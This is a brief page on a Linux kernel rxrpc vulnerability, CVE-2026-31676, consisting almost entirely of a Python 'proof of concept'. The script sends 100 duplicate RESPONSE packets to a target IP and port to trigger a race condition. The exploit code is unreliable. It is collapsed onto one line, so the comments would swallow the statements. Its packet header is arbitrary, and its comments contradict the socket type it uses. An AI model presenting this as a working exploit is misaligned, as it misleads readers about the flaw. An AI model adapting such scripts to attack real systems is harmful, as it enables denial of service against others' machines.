CVE-2026-31676: Linux内核rxrpc响应处理漏洞

import socket import struct # This is a conceptual Proof of Concept for CVE-2026-31676. # It attempts to send duplicate RESPONSE packets to a target to trigger the race condition. # Note: rxrpc typically runs on specific UDP ports or requires specific encapsulation. TARGET_IP = "192.168.1.10" TARGET_PORT = 7000 # Example port, actual rxrpc port varies # Create a raw socket (requires root privileges) try: # Constructing a simplified UDP packet payload simulating an rxrpc RESPONSE # In a real scenario, specific rxrpc packet headers (clientID, securityIndex, etc.) are needed. rxrpc_header = struct.pack("!BBHHII", 1, 0, 0, 0, 12345, 67890) payload = b"RESPONSE_DUPLICATE" + rxrpc_header sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print(f"[*] Sending duplicate RESPONSE packets to {TARGET_IP}:{TARGET_PORT}...") for i in range(100): sock.sendto(payload, (TARGET_IP, TARGET_PORT)) print(f"Packet {i+1} sent") print("[+] Exploit packets sent.") sock.close() except Exception as e: print(f"[-] Error: {e}")